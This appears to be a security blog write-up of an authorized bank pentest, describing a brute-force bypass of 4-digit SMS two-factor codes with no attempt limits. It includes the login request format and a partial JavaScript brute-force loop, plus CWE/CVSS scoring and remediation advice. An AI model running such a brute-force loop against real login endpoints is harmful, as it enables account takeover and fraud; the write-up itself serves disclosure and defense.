Back to Home

Bypassing 2FA in the bank: brute-force attack

In bank pentest, SMS-2FA bypass via brute-force of 4-digit code without attempt limits was discovered. Access to personal account allowed fraud. API analysis, JS exploit, CVSS 9.1 and fix recommendations.

Brute-force hack of bank's 2FA: full breakdown
Advertisement 728x90

Bypassing SMS-2FA via Brute-Force: A Bank Pentest Breakdown

During an authorized black-box pentest of a major banking infrastructure (4,000 hosts, 4,500 users), a critical bypass of SMS-based two-factor authentication (2FA) was discovered in the personal account portal for financial applications. An attacker with access to the victim’s phone number could fully automate the brute-force attack on a 4-digit code without any rate limits, gaining full access to passport data, application histories, and tools for fraudulent transactions.

This access enabled loan applications, project financing approvals, and payment confirmations through customer support—without additional verification. With 10,000 possible combinations, the code could be cracked in seconds.

API and Authentication Logic Analysis

The login process relied on two endpoints:

Google AdInline article slot
  • SMS Request: POST returns "repeat":180, blocking retries for 3 minutes.
  • Code Verification: POST /api/*****/login with body "{code":"0548","phone":"+7(111)222-22-22"}.

A wrong code returns HTTP 400 with "Phone number or code is incorrect." A correct code returns HTTP 200 with session cookies (JSESSIONID, PHPSESSID). No attempt counters, CAPTCHA, IP or session blocking were in place. Each request was processed independently.

POST /api/*****/login HTTP/1.1
Host: ****
Content-Type: application/json

{"code":"0548","phone":"+7(111) 222-22-22"}

Exploit Implementation in JavaScript

The PoC leveraged browser session context to bypass CORS and SameSite restrictions. The core loop performed parallel brute-forcing across 20 threads:

await fetch('https://roga_and_copyta/*****/api/*****/login', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({code: codeStr, phone: phone})
});

for (let i = 0; i < 20; i++) {
    turboThread(i, start, end); // Code range
}

if (response.status === 200) {
    foundCode = codeStr;
    // Auto-fill the field
}

Success was determined by a 200 status response. A similar script worked in Python. Attack time: 35 seconds for 10,000 requests.

Google AdInline article slot

Vulnerability Classification and Root Causes

The flaw matches CWE-307 (Improper Restriction of Excessive Authentication Attempts). CVSS 3.1 score: 9.1 (Critical) — Network, Low complexity, No privileges, No user interaction.

Critical design failures:

  • Usability over security: No rate limiting to avoid complaints about typos.
  • Automation blind spot: 4 digits are hard for humans but trivial for scripts.
  • No brute-force testing: Security assumptions were never validated.

Remediation Recommendations

For layered defense, implement:

Google AdInline article slot
  • Attempt limits: 3–5 tries per code, with SMS re-sending.
  • CAPTCHA after 2–3 failed attempts.
  • 6-digit codes (1 million combinations; brute-force takes hours).
  • Anomaly monitoring: Request frequency, IP reputation checks.
  • Rate limiting by phone number and session.
// Example backend rate limiting (pseudocode)
if (attempts[phone] > 5) {
    invalidateCode(phone);
    requireCaptcha();
}

Key Takeaways

  • Bypassing 2FA grants full access to the account: passport details, applications, bank details, payment confirmations.
  • A 4-digit code with no limits = 10,000 combinations, cracked in 35 seconds.
  • CWE-307 (CVSS 9.1): lack of protection against automated brute-force attacks.
  • Recommendation: enforce limits + CAPTCHA + 6-digit codes + real-time monitoring.
  • The vulnerability was identified during pentesting before exploitation; all issues have been patched.

— Editorial Team

Advertisement 728x90

Read Next